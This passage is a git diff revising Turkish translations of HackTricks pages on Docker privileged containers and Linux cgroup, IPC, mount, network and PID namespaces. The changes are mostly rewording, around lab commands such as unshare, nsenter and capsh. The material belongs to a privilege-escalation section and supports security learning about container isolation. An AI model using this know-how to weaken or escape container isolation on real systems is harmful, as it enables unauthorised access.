Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container_whitepaper.pdf) +- [Linux Konteynerlerini Anlama ve Güçlendirme](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc_group_understanding_hardening_linux_containers-1-1.pdf) +- [Ayrıcalıklı ve Ayrıcalıksız Linux Konteynerlerini Kötüye Kullanma](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container_whitepaper.pdf) {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-privileged.md b/src/linux-hardening/privilege-escalation/docker-security/docker-privileged.md index c3e84ae2b..05d6d8ac0 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-privileged.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-privileged.md @@ -61,7 +61,7 @@ mount | grep '(ro' **/proc** dosya sistemi seçici olarak yazılabilir, ancak güvenlik için, belirli kısımlar **tmpfs** ile örtülerek yazma ve okuma erişiminden korunur, bu da konteyner süreçlerinin hassas alanlara erişememesini sağlar. -> [!NOTE] > **tmpfs**, tüm dosyaları sanal bellekte depolayan bir dosya sistemidir. tmpfs, sabit diskinizde herhangi bir dosya oluşturmaz. Bu nedenle, bir tmpfs dosya sistemini ayırırsanız, içinde bulunan tüm dosyalar sonsuza dek kaybolur. +> [!NOTE] > **tmpfs**, tüm dosyaları sanal bellekte depolayan bir dosya sistemidir. tmpfs, sabit diskinizde herhangi bir dosya oluşturmaz. Bu nedenle, bir tmpfs dosya sistemini kaldırırsanız, içinde bulunan tüm dosyalar sonsuza dek kaybolur. {{#tabs}} {{#tab name="Inside default container"}} @@ -84,14 +84,14 @@ mount | grep /proc.*tmpfs ### Linux yetenekleri -Konteyner motorları, konteynerin içinde neler olduğunu kontrol etmek için konteynerleri **sınırlı sayıda yetenekle** başlatır. **Ayrıcalıklı** olanlar **tüm** **yeteneklere** erişime sahiptir. Yetenekler hakkında bilgi edinmek için okuyun: +Konteyner motorları, konteynerin içinde neler olduğunu kontrol etmek için konteynerleri **sınırlı sayıda yetenekle** başlatır. **Ayrıcalıklı** olanlar **tüm** **yeteneklere** erişim sağlar. Yetenekler hakkında bilgi edinmek için okuyun: {{#ref}} ../linux-capabilities.md {{#endref}} {{#tabs}} -{{#tab name="Varsayılan konteynerin içinde"}} +{{#tab name="Varsayılan konteyner içinde"}} ```bash # docker run --rm -it alpine sh apk add -U libcap; capsh --print @@ -102,7 +102,7 @@ Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setg ``` {{#endtab}} -{{#tab name="İçeride Yetkili Konteyner"}} +{{#tab name="İçinde Yetkili Konteyner"}} ```bash # docker run --rm --privileged -it alpine sh apk add -U libcap; capsh --print @@ -114,7 +114,7 @@ Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fset {{#endtab}} {{#endtabs}} -Bir konteynerin `--privileged` modunda çalışmadan mevcut yeteneklerini `--cap-add` ve `--cap-drop` bayraklarını kullanarak manipüle edebilirsiniz. +Bir konteynerin kullanılabilir yeteneklerini `--privileged` modda çalıştırmadan `--cap-add` ve `--cap-drop` bayraklarını kullanarak manipüle edebilirsiniz. ### Seccomp diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md index 7525801ae..ac961c126 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md @@ -4,14 +4,14 @@ ## Temel Bilgiler -Cgroup namespace, **bir namespace içinde çalışan süreçler için cgroup hiyerarşilerinin izolasyonunu sağlayan** bir Linux çekirdek özelliğidir. Cgroups, **kontrol grupları** için kısaltmadır ve süreçleri hiyerarşik gruplar halinde organize ederek **sistem kaynakları** üzerinde CPU, bellek ve I/O gibi **sınırlamalar** yönetmeyi ve uygulamayı sağlar. +Cgroup namespace, **bir namespace içinde çalışan süreçler için cgroup hiyerarşilerinin izolasyonunu sağlayan** bir Linux çekirdek özelliğidir. Cgroups, **kontrol grupları** için kısaltmadır ve süreçleri hiyerarşik gruplar halinde organize ederek **sistem kaynakları** üzerinde (CPU, bellek ve I/O gibi) **sınırlamalar** yönetmeyi ve uygulamayı sağlar. -Cgroup namespace'leri, daha önce tartıştığımız diğerleri gibi ayrı bir namespace türü olmasa da (PID, mount, network vb.), namespace izolasyonu kavramıyla ilişkilidir. **Cgroup namespace'leri cgroup hiyerarşisinin görünümünü sanallaştırır**, böylece bir cgroup namespace içinde çalışan süreçler, ana makinede veya diğer namespace'lerde çalışan süreçlere kıyasla hiyerarşinin farklı bir görünümüne sahip olur. +Cgroup namespace'leri, daha önce tartıştığımız diğerleri gibi ayrı bir namespace türü olmasa da (PID, mount, network vb.), namespace izolasyonu kavramıyla ilişkilidir. **Cgroup namespace'leri cgroup hiyerarşisinin görünümünü sanallaştırır**, böylece bir cgroup namespace içinde çalışan süreçler, ana makinede veya diğer namespace'lerde çalışan süreçlere kıyasla hiyerarşinin farklı bir görünümüne sahip olurlar. ### Nasıl çalışır: 1. Yeni bir cgroup namespace oluşturulduğunda, **oluşturan sürecin cgroup'una dayanan bir cgroup hiyerarşisi görünümü ile başlar**. Bu, yeni cgroup namespace içinde çalışan süreçlerin, yalnızca oluşturucu sürecin cgroup'unda köklenen cgroup alt ağacına sınırlı olarak, tüm cgroup hiyerarşisinin bir alt kümesini göreceği anlamına gelir. -2. Bir cgroup namespace içindeki süreçler, **kendi cgroup'larını hiyerarşinin kökü olarak görecektir**. Bu, namespace içindeki süreçlerin bakış açısından, kendi cgroup'larının kök olarak göründüğü ve kendi alt ağaçlarının dışındaki cgroup'ları göremeyeceği veya erişemeyeceği anlamına gelir. +2. Bir cgroup namespace içindeki süreçler, **kendi cgroup'larını hiyerarşinin kökü olarak göreceklerdir**. Bu, namespace içindeki süreçlerin bakış açısından, kendi cgroup'larının kök olarak göründüğü ve kendi alt ağaçlarının dışındaki cgroup'ları göremeyecekleri veya erişemeyecekleri anlamına gelir. 3. Cgroup namespace'leri doğrudan kaynakların izolasyonunu sağlamaz; **yalnızca cgroup hiyerarşisi görünümünün izolasyonunu sağlar**. **Kaynak kontrolü ve izolasyonu hala cgroup** alt sistemleri (örneğin, cpu, bellek vb.) tarafından uygulanmaktadır. CGroups hakkında daha fazla bilgi için kontrol edin: @@ -22,13 +22,13 @@ CGroups hakkında daha fazla bilgi için kontrol edin: ## Laboratuvar: -### Farklı Namespace'ler Oluşturma +### Farklı Namespace'ler Oluşturun #### CLI ```bash sudo unshare -C [--mount-proc] /bin/bash ``` -Yeni bir `/proc` dosya sisteminin örneğini `--mount-proc` parametresi ile monte ederek, yeni montaj ad alanının **o ad alanına özgü süreç bilgilerine doğru ve izole bir görünüm** sağladığınızı garanti edersiniz. +Yeni bir `/proc` dosya sisteminin örneğini `--mount-proc` parametresi ile monte ederek, yeni montaj ad alanının **o ad alanına özgü süreç bilgilerini doğru ve izole bir şekilde görmesini** sağlarsınız.
@@ -48,9 +48,9 @@ Yeni bir `/proc` dosya sisteminin örneğini `--mount-proc` parametresi ile mont 3. **Çözüm**: - Sorun, `unshare` ile `-f` seçeneğini kullanarak çözülebilir. Bu seçenek, `unshare`'in yeni PID ad alanını oluşturduktan sonra yeni bir süreç fork etmesini sağlar. -- `%unshare -fp /bin/bash%` komutunu çalıştırmak, `unshare` komutunun kendisinin yeni ad alanında PID 1 olmasını garanti eder. `/bin/bash` ve onun çocuk süreçleri, bu yeni ad alanında güvenli bir şekilde yer alır, PID 1'in erken çıkışını önler ve normal PID tahsisine izin verir. +- `%unshare -fp /bin/bash%` komutunu çalıştırmak, `unshare` komutunun kendisinin yeni ad alanında PID 1 olmasını sağlar. `/bin/bash` ve onun çocuk süreçleri bu yeni ad alanında güvenli bir şekilde yer alır, PID 1'in erken çıkışını önler ve normal PID tahsisine izin verir. -`unshare`'in `-f` bayrağı ile çalıştırıldığından emin olarak, yeni PID ad alanı doğru bir şekilde korunur ve `/bin/bash` ile alt süreçleri bellek tahsis hatası ile karşılaşmadan çalışabilir. +`unshare`'in `-f` bayrağı ile çalıştığından emin olarak, yeni PID ad alanı doğru bir şekilde korunur ve `/bin/bash` ile alt süreçlerinin bellek tahsis hatası ile karşılaşmadan çalışmasına olanak tanır.
@@ -73,7 +73,7 @@ sudo find /proc -maxdepth 3 -type l -name cgroup -exec ls -l {} \; 2>/dev/null ```bash nsenter -C TARGET_PID --pid /bin/bash ``` -Ayrıca, **başka bir işlem ad alanına yalnızca root iseniz girebilirsiniz**. Ve **başka bir ad alanına** **giremezsiniz** **ona işaret eden bir tanımlayıcı olmadan** (örneğin `/proc/self/ns/cgroup`). +Ayrıca, **başka bir işlem ad alanına yalnızca root iseniz girebilirsiniz**. Ve **başka bir ad alanına** **giremezsiniz** **onu işaret eden bir tanımlayıcı olmadan** (örneğin `/proc/self/ns/cgroup`). ## Referanslar diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md index f9056f317..9a5d709f9 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md @@ -9,7 +9,7 @@ IPC (Inter-Process Communication) namespace, mesaj kuyrukları, paylaşılan bel ### Nasıl çalışır: 1. Yeni bir IPC namespace oluşturulduğunda, **tamamen izole bir System V IPC nesne seti** ile başlar. Bu, yeni IPC namespace'inde çalışan süreçlerin varsayılan olarak diğer namespace'lerdeki veya ana sistemdeki IPC nesnelerine erişemeyeceği veya bunlarla etkileşime giremeyeceği anlamına gelir. -2. Bir namespace içinde oluşturulan IPC nesneleri, **yalnızca o namespace içindeki süreçler tarafından görünür ve erişilebilir**. Her IPC nesnesi, kendi namespace'i içinde benzersiz bir anahtar ile tanımlanır. Anahtar farklı namespace'lerde aynı olabilir, ancak nesneler kendileri izole edilmiştir ve namespace'ler arasında erişilemez. +2. Bir namespace içinde oluşturulan IPC nesneleri, **yalnızca o namespace içindeki süreçler tarafından görünür ve erişilebilir**. Her IPC nesnesi, kendi namespace'inde benzersiz bir anahtar ile tanımlanır. Anahtar farklı namespace'lerde aynı olabilir, ancak nesneler kendileri izole edilmiştir ve namespace'ler arasında erişilemez. 3. Süreçler, `setns()` sistem çağrısını kullanarak namespace'ler arasında geçiş yapabilir veya `CLONE_NEWIPC` bayrağı ile `unshare()` veya `clone()` sistem çağrılarını kullanarak yeni namespace'ler oluşturabilir. Bir süreç yeni bir namespace'e geçtiğinde veya bir tane oluşturduğunda, o namespace ile ilişkili IPC nesnelerini kullanmaya başlayacaktır. ## Laboratuvar: @@ -20,7 +20,7 @@ IPC (Inter-Process Communication) namespace, mesaj kuyrukları, paylaşılan bel ```bash sudo unshare -i [--mount-proc] /bin/bash ``` -Yeni bir `/proc` dosya sisteminin örneğini monte ederek `--mount-proc` parametresini kullanırsanız, yeni montaj ad alanının **o ad alanına özgü süreç bilgilerini doğru ve izole bir şekilde görmesini** sağlarsınız. +Yeni bir `/proc` dosya sisteminin örneğini `--mount-proc` parametresi ile monte ederek, yeni montaj ad alanının **o ad alanına özgü süreç bilgilerini doğru ve izole bir şekilde görmesini** sağlarsınız.
@@ -36,13 +36,13 @@ Yeni bir `/proc` dosya sisteminin örneğini monte ederek `--mount-proc` paramet 2. **Sonuç**: -- Yeni bir ad alanındaki PID 1'in çıkışı, `PIDNS_HASH_ADDING` bayrağının temizlenmesine yol açar. Bu, yeni bir süreç oluşturulurken `alloc_pid` fonksiyonunun yeni bir PID tahsis etmesini engeller ve "Bellek tahsis edilemiyor" hatasını üretir. +- Yeni bir ad alanındaki PID 1'in çıkışı, `PIDNS_HASH_ADDING` bayrağının temizlenmesine yol açar. Bu, yeni bir süreç oluştururken `alloc_pid` fonksiyonunun yeni bir PID tahsis edememesine neden olur ve "Bellek tahsis edilemiyor" hatasını üretir. 3. **Çözüm**: - Sorun, `unshare` ile `-f` seçeneğini kullanarak çözülebilir. Bu seçenek, `unshare`'in yeni PID ad alanını oluşturduktan sonra yeni bir süreç fork etmesini sağlar. -- `%unshare -fp /bin/bash%` komutunu çalıştırmak, `unshare` komutunun kendisinin yeni ad alanında PID 1 olmasını sağlar. `/bin/bash` ve onun çocuk süreçleri, bu yeni ad alanında güvenli bir şekilde yer alır, PID 1'in erken çıkışını önler ve normal PID tahsisine izin verir. +- `%unshare -fp /bin/bash%` komutunu çalıştırmak, `unshare` komutunun kendisinin yeni ad alanında PID 1 olmasını garanti eder. `/bin/bash` ve onun çocuk süreçleri, bu yeni ad alanında güvenli bir şekilde yer alır, PID 1'in erken çıkışını önler ve normal PID tahsisine izin verir. -`unshare`'in `-f` bayrağı ile çalıştığından emin olarak, yeni PID ad alanı doğru bir şekilde korunur ve `/bin/bash` ile alt süreçleri bellek tahsis hatası ile karşılaşmadan çalışabilir. +`unshare`'in `-f` bayrağı ile çalıştırılmasını sağlayarak, yeni PID ad alanının doğru bir şekilde korunmasını sağlarsınız, böylece `/bin/bash` ve alt süreçleri bellek tahsis hatası ile karşılaşmadan çalışabilir.
diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md index c08367606..e8996fd43 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md @@ -12,8 +12,8 @@ Mount namespace'leri, her bir konteynerin diğer konteynerlerden ve ana sistemde 1. Yeni bir mount namespace oluşturulduğunda, **ebeveyn namespace'inden mount noktalarının bir kopyasıyla başlatılır**. Bu, oluşturulduğunda yeni namespace'in ebeveyn ile aynı dosya sistemi görünümünü paylaştığı anlamına gelir. Ancak, namespace içindeki mount noktalarındaki sonraki değişiklikler ebeveyni veya diğer namespace'leri etkilemeyecektir. 2. Bir süreç, kendi namespace'i içinde bir mount noktasını değiştirdiğinde, örneğin bir dosya sistemini mount veya unmount ettiğinde, **değişiklik o namespace'e özeldir** ve diğer namespace'leri etkilemez. Bu, her namespace'in kendi bağımsız dosya sistemi hiyerarşisine sahip olmasını sağlar. -3. Süreçler, `setns()` sistem çağrısını kullanarak namespace'ler arasında geçiş yapabilir veya `CLONE_NEWNS` bayrağı ile `unshare()` veya `clone()` sistem çağrılarını kullanarak yeni namespace'ler oluşturabilir. Bir süreç yeni bir namespace'e geçtiğinde veya oluşturduğunda, o namespace ile ilişkili mount noktalarını kullanmaya başlayacaktır. -4. **Dosya tanımlayıcıları ve inode'lar namespace'ler arasında paylaşılır**, yani bir namespace'deki bir süreç, bir dosyaya işaret eden açık bir dosya tanımlayıcısına sahipse, bu dosya tanımlayıcısını başka bir namespace'deki bir sürece **geçirebilir** ve **her iki süreç de aynı dosyaya erişecektir**. Ancak, dosyanın yolu, mount noktalarındaki farklılıklar nedeniyle her iki namespace'de aynı olmayabilir. +3. Süreçler, `setns()` sistem çağrısını kullanarak namespace'ler arasında geçiş yapabilir veya `CLONE_NEWNS` bayrağı ile `unshare()` veya `clone()` sistem çağrılarını kullanarak yeni namespace'ler oluşturabilir. Bir süreç yeni bir namespace'e geçtiğinde veya bir tane oluşturduğunda, o namespace ile ilişkili mount noktalarını kullanmaya başlayacaktır. +4. **Dosya tanımlayıcıları ve inode'lar namespace'ler arasında paylaşılır**, yani bir namespace'deki bir süreç, bir dosyaya işaret eden açık bir dosya tanımlayıcısına sahipse, bu **dosya tanımlayıcısını** başka bir namespace'deki bir sürece **geçirebilir** ve **her iki süreç de aynı dosyaya erişecektir**. Ancak, dosyanın yolu, mount noktalarındaki farklılıklar nedeniyle her iki namespace'de aynı olmayabilir. ## Laboratuvar: @@ -23,7 +23,7 @@ Mount namespace'leri, her bir konteynerin diğer konteynerlerden ve ana sistemde ```bash sudo unshare -m [--mount-proc] /bin/bash ``` -Yeni bir `/proc` dosya sisteminin örneğini `--mount-proc` parametresi ile monte ederek, yeni montaj ad alanının **o ad alanına özgü süreç bilgilerine doğru ve izole bir görünüm** sağladığınızı garanti edersiniz. +Yeni bir `/proc` dosya sisteminin örneğini `--mount-proc` parametresi ile monte ederek, yeni montaj ad alanının **o ad alanına özgü süreç bilgilerini doğru ve izole bir şekilde görmesini** sağlarsınız.
@@ -33,17 +33,17 @@ Yeni bir `/proc` dosya sisteminin örneğini `--mount-proc` parametresi ile mont 1. **Problem Açıklaması**: -- Linux çekirdeği, bir sürecin yeni ad alanları oluşturmasına `unshare` sistem çağrısı ile izin verir. Ancak, yeni bir PID ad alanı oluşturan süreç (bu süreç "unshare" süreci olarak adlandırılır) yeni ad alanına girmez; yalnızca onun çocuk süreçleri girer. +- Linux çekirdeği, bir sürecin yeni ad alanları oluşturmasına `unshare` sistem çağrısı ile izin verir. Ancak, yeni bir PID ad alanı oluşturma işlemini başlatan süreç (bu süreç "unshare" süreci olarak adlandırılır) yeni ad alanına girmez; yalnızca onun çocuk süreçleri girer. - `%unshare -p /bin/bash%` komutu, `/bin/bash`'i `unshare` ile aynı süreçte başlatır. Sonuç olarak, `/bin/bash` ve onun çocuk süreçleri orijinal PID ad alanındadır. - Yeni ad alanındaki `/bin/bash`'in ilk çocuk süreci PID 1 olur. Bu süreç sona erdiğinde, başka süreç yoksa ad alanının temizlenmesini tetikler, çünkü PID 1, yetim süreçleri benimseme özel rolüne sahiptir. Linux çekirdeği, o ad alanında PID tahsisini devre dışı bırakır. 2. **Sonuç**: -- Yeni bir ad alanındaki PID 1'in çıkışı, `PIDNS_HASH_ADDING` bayrağının temizlenmesine yol açar. Bu, yeni bir süreç oluştururken `alloc_pid` fonksiyonunun yeni bir PID tahsis edememesine neden olur ve "Bellek tahsis edilemiyor" hatasını üretir. +- Yeni bir ad alanındaki PID 1'in çıkışı, `PIDNS_HASH_ADDING` bayrağının temizlenmesine yol açar. Bu, yeni bir süreç oluştururken `alloc_pid` fonksiyonunun yeni bir PID tahsis etmesini engeller ve "Bellek tahsis edilemiyor" hatasını üretir. 3. **Çözüm**: - Sorun, `unshare` ile `-f` seçeneğini kullanarak çözülebilir. Bu seçenek, `unshare`'in yeni PID ad alanını oluşturduktan sonra yeni bir süreç fork etmesini sağlar. -- `%unshare -fp /bin/bash%` komutunu çalıştırmak, `unshare` komutunun kendisinin yeni ad alanında PID 1 olmasını garanti eder. `/bin/bash` ve onun çocuk süreçleri, bu yeni ad alanında güvenli bir şekilde yer alır, PID 1'in erken çıkışını önler ve normal PID tahsisine izin verir. +- `%unshare -fp /bin/bash%` komutunu çalıştırmak, `unshare` komutunun kendisinin yeni ad alanında PID 1 olmasını garanti eder. `/bin/bash` ve onun çocuk süreçleri bu yeni ad alanında güvenli bir şekilde yer alır, PID 1'in erken çıkışını önler ve normal PID tahsisine izin verir. `unshare`'in `-f` bayrağı ile çalıştığından emin olarak, yeni PID ad alanı doğru bir şekilde korunur ve `/bin/bash` ile alt süreçlerinin bellek tahsis hatası ile karşılaşmadan çalışmasına olanak tanır. diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md index 0480e72f6..5bb4296d5 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md @@ -9,15 +9,7 @@ Ağ ad alanı, **her ağ ad alanının kendi bağımsız ağ yapılandırmasına ### Nasıl çalışır: 1. Yeni bir ağ ad alanı oluşturulduğunda, **tamamen izole bir ağ yığını** ile başlar; **loopback arayüzü** (lo) dışında **hiçbir ağ arayüzü** yoktur. Bu, yeni ağ ad alanında çalışan süreçlerin varsayılan olarak diğer ad alanlarındaki veya ana sistemdeki süreçlerle iletişim kuramayacağı anlamına gelir. -2. **Sanal ağ arayüzleri**, örneğin veth çiftleri, oluşturulabilir ve ağ ad alanları arasında taşınabilir. Bu, ad alanları arasında veya bir ad alanı ile ana sistem arasında ağ bağlantısı kurmayı sağlar. Örneğin, bir veth çiftinin bir ucu bir konteynerin ağ ad alanında yer alabilir ve diğer ucu ana ad alanındaki bir **köprüye** veya başka bir ağ arayüzüne bağlanarak konteynere ağ bağlantısı sağlayabilir. -3. Bir ad alanı içindeki ağ arayüzleri, diğer ad alanlarından bağımsız olarak **kendi IP adreslerine, yönlendirme tablolarına ve güvenlik duvarı kurallarına** sahip olabilir. Bu, farklı ağ ad alanlarındaki süreçlerin farklı ağ yapılandırmalarına sahip olmasını ve sanki ayrı ağ sistemlerinde çalışıyormuş gibi işlem yapmasını sağlar. -4. Süreçler, `setns()` sistem çağrısını kullanarak ad alanları arasında hareket edebilir veya `CLONE_NEWNET` bayrağı ile `unshare()` veya `clone()` sistem çağrılarını kullanarak yeni ad alanları oluşturabilir. Bir süreç yeni bir ad alanına geçtiğinde veya bir tane oluşturduğunda, o ad alanıyla ilişkili ağ yapılandırmasını ve arayüzlerini kullanmaya başlayacaktır. - -## Laboratuvar: - -### Farklı Ad Alanları Oluşturma - -#### CLI +2. **Sanal ağ arayüzleri**, veth çiftleri gibi, oluşturulabilir ve ağ ad alanları arasında taşınabilir. Bu, ad alanları arasında veya bir ad alanı ```bash sudo unshare -n [--mount-proc] /bin/bash # Run ifconfig or ip -a @@ -34,7 +26,7 @@ Yeni bir `/proc` dosya sisteminin örneğini `--mount-proc` parametresi ile mont - Linux çekirdeği, bir sürecin yeni ad alanları oluşturmasına `unshare` sistem çağrısı ile izin verir. Ancak, yeni bir PID ad alanı oluşturan süreç (bu süreç "unshare" süreci olarak adlandırılır) yeni ad alanına girmemektedir; yalnızca onun çocuk süreçleri girmektedir. - `%unshare -p /bin/bash%` komutu, `/bin/bash`'i `unshare` ile aynı süreçte başlatır. Sonuç olarak, `/bin/bash` ve onun çocuk süreçleri orijinal PID ad alanındadır. -- Yeni ad alanındaki `/bin/bash`'in ilk çocuk süreci PID 1 olur. Bu süreç sona erdiğinde, başka süreç yoksa ad alanının temizlenmesini tetikler, çünkü PID 1, yetim süreçleri benimseme özel rolüne sahiptir. Linux çekirdeği, bu ad alanında PID tahsisini devre dışı bırakacaktır. +- Yeni ad alanındaki `/bin/bash`'in ilk çocuk süreci PID 1 olur. Bu süreç sona erdiğinde, başka süreç yoksa ad alanının temizlenmesini tetikler, çünkü PID 1, yetim süreçleri benimseme özel rolüne sahiptir. Linux çekirdeği, bu ad alanında PID tahsisini devre dışı bırakır. 2. **Sonuç**: diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md index 3d5e778fe..adfd63aa7 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md @@ -4,18 +4,18 @@ ## Temel Bilgiler -PID (Process IDentifier) namespace, Linux çekirdeğinde, bir grup sürecin kendi benzersiz PID setine sahip olmasını sağlayarak süreç izolasyonu sunan bir özelliktir; bu, diğer namespace'lerdeki PIDs'den ayrıdır. Bu, süreç izolasyonunun güvenlik ve kaynak yönetimi için hayati olduğu konteynerleştirme alanında özellikle faydalıdır. +PID (Process IDentifier) namespace, Linux çekirdeğinde, bir grup sürecin diğer namespace'lerdeki PIDs'lerden ayrı olarak kendi benzersiz PID setine sahip olmasını sağlayarak süreç izolasyonu sunan bir özelliktir. Bu, süreç izolasyonunun güvenlik ve kaynak yönetimi için hayati olduğu konteynerleştirme alanında özellikle faydalıdır. -Yeni bir PID namespace oluşturulduğunda, o namespace'deki ilk süreç PID 1 ile atanır. Bu süreç, yeni namespace'in "init" süreci haline gelir ve namespace içindeki diğer süreçleri yönetmekten sorumludur. Namespace içinde oluşturulan her bir sonraki süreç, o namespace içinde benzersiz bir PID alacak ve bu PIDs, diğer namespace'lerdeki PIDs'den bağımsız olacaktır. +Yeni bir PID namespace oluşturulduğunda, o namespace içindeki ilk süreç PID 1 ile atanır. Bu süreç, yeni namespace'in "init" süreci haline gelir ve namespace içindeki diğer süreçleri yönetmekten sorumludur. Namespace içinde oluşturulan her bir sonraki süreç, o namespace içinde benzersiz bir PID alacak ve bu PIDs, diğer namespace'lerdeki PIDs'den bağımsız olacaktır. -Bir PID namespace içindeki bir süreç açısından, yalnızca aynı namespace'deki diğer süreçleri görebilir. Diğer namespace'lerdeki süreçlerin farkında değildir ve geleneksel süreç yönetim araçları (örneğin, `kill`, `wait`, vb.) kullanarak onlarla etkileşimde bulunamaz. Bu, süreçlerin birbirine müdahale etmesini önlemeye yardımcı olan bir izolasyon seviyesi sağlar. +Bir PID namespace içindeki bir süreç açısından, yalnızca aynı namespace içindeki diğer süreçleri görebilir. Diğer namespace'lerdeki süreçlerden haberdar değildir ve geleneksel süreç yönetim araçları (örneğin, `kill`, `wait`, vb.) kullanarak onlarla etkileşimde bulunamaz. Bu, süreçlerin birbirine müdahale etmesini önlemeye yardımcı olan bir izolasyon seviyesi sağlar. ### Nasıl çalışır: 1. Yeni bir süreç oluşturulduğunda (örneğin, `clone()` sistem çağrısı kullanılarak), süreç yeni veya mevcut bir PID namespace'ine atanabilir. **Yeni bir namespace oluşturulursa, süreç o namespace'in "init" süreci haline gelir**. -2. **Çekirdek**, yeni namespace'deki PIDs ile ana namespace'deki karşılık gelen PIDs arasında bir **eşleme** tutar (yani, yeni namespace'in oluşturulduğu namespace). Bu eşleme, **çekirdeğin gerekli olduğunda PIDs'yi çevirmesine olanak tanır**, örneğin, farklı namespace'lerdeki süreçler arasında sinyaller gönderirken. -3. **PID namespace içindeki süreçler yalnızca aynı namespace'deki diğer süreçleri görebilir ve onlarla etkileşimde bulunabilir**. Diğer namespace'lerdeki süreçlerin farkında değillerdir ve PIDs'leri kendi namespace'lerinde benzersizdir. -4. Bir **PID namespace yok edildiğinde** (örneğin, namespace'in "init" süreci çıktığında), **o namespace içindeki tüm süreçler sonlandırılır**. Bu, namespace ile ilişkili tüm kaynakların düzgün bir şekilde temizlenmesini sağlar. +2. **Çekirdek**, **yeni namespace'deki PIDs ile ana namespace'deki karşılık gelen PIDs arasında bir eşleme** tutar (yani, yeni namespace'in oluşturulduğu namespace). Bu eşleme, **çekirdeğin gerekli olduğunda PIDs'leri çevirmesine olanak tanır**, örneğin, farklı namespace'lerdeki süreçler arasında sinyaller gönderirken. +3. **Bir PID namespace içindeki süreçler yalnızca aynı namespace içindeki diğer süreçleri görebilir ve onlarla etkileşimde bulunabilir**. Diğer namespace'lerdeki süreçlerden haberdar değillerdir ve PIDs'leri kendi namespace'leri içinde benzersizdir. +4. **Bir PID namespace yok edildiğinde** (örneğin, namespace'in "init" süreci çıktığında), **o namespace içindeki tüm süreçler sonlandırılır**. Bu, namespace ile ilişkili tüm kaynakların düzgün bir şekilde temizlenmesini sağlar. ## Laboratuvar: @@ -29,17 +29,17 @@ sudo unshare -pf --mount-proc /bin/bash Hata: bash: fork: Bellek tahsis edilemiyor -`unshare` komutu `-f` seçeneği olmadan çalıştırıldığında, Linux'un yeni PID (Process ID) ad alanlarını yönetme şekli nedeniyle bir hata ile karşılaşılır. Anahtar detaylar ve çözüm aşağıda özetlenmiştir: +`unshare` komutu `-f` seçeneği olmadan çalıştırıldığında, Linux'un yeni PID (Process ID) ad alanlarını nasıl yönettiği nedeniyle bir hata ile karşılaşılır. Anahtar detaylar ve çözüm aşağıda özetlenmiştir: 1. **Problem Açıklaması**: - Linux çekirdeği, bir sürecin yeni ad alanları oluşturmasına `unshare` sistem çağrısı ile izin verir. Ancak, yeni bir PID ad alanı oluşturma işlemini başlatan süreç (bu süreç "unshare" süreci olarak adlandırılır) yeni ad alanına girmez; yalnızca onun çocuk süreçleri girer. - `%unshare -p /bin/bash%` komutu, `/bin/bash`'i `unshare` ile aynı süreçte başlatır. Sonuç olarak, `/bin/bash` ve onun çocuk süreçleri orijinal PID ad alanındadır. -- Yeni ad alanındaki `/bin/bash`'in ilk çocuk süreci PID 1 olur. Bu süreç sona erdiğinde, başka süreç yoksa ad alanının temizlenmesini tetikler, çünkü PID 1, yetim süreçleri benimseme özel rolüne sahiptir. Linux çekirdeği, o ad alanında PID tahsisini devre dışı bırakır. +- Yeni ad alanındaki `/bin/bash`'in ilk çocuk süreci PID 1 olur. Bu süreç sona erdiğinde, başka süreç yoksa ad alanının temizlenmesini tetikler, çünkü PID 1, yetim süreçleri benimseme özel rolüne sahiptir. Linux çekirdeği, bu ad alanında PID tahsisini devre dışı bırakır. 2. **Sonuç**: -- Yeni bir ad alanındaki PID 1'in çıkışı, `PIDNS_HASH_ADDING` bayrağının temizlenmesine yol açar. Bu, yeni bir süreç oluşturulurken `alloc_pid` fonksiyonunun yeni bir PID tahsis edememesine neden olur ve "Bellek tahsis edilemiyor" hatasını üretir. +- Yeni bir ad alanındaki PID 1'in çıkışı, `PIDNS_HASH_ADDING` bayrağının temizlenmesine yol açar. Bu, yeni bir süreç oluştururken `alloc_pid` fonksiyonunun yeni bir PID tahsis edememesine neden olur ve "Bellek tahsis edilemiyor" hatasını üretir. 3. **Çözüm**: - Sorun, `unshare` ile `-f` seçeneğini kullanarak çözülebilir. Bu seçenek, `unshare`'in yeni PID ad alanını oluşturduktan sonra yeni bir süreç fork etmesini sağlar. @@ -64,7 +64,7 @@ lrwxrwxrwx 1 root root 0 Apr 3 18:45 /proc/self/ns/pid -> 'pid:[4026532412]' ```bash sudo find /proc -maxdepth 3 -type l -name pid -exec readlink {} \; 2>/dev/null | sort -u ``` -Kök kullanıcısının başlangıç 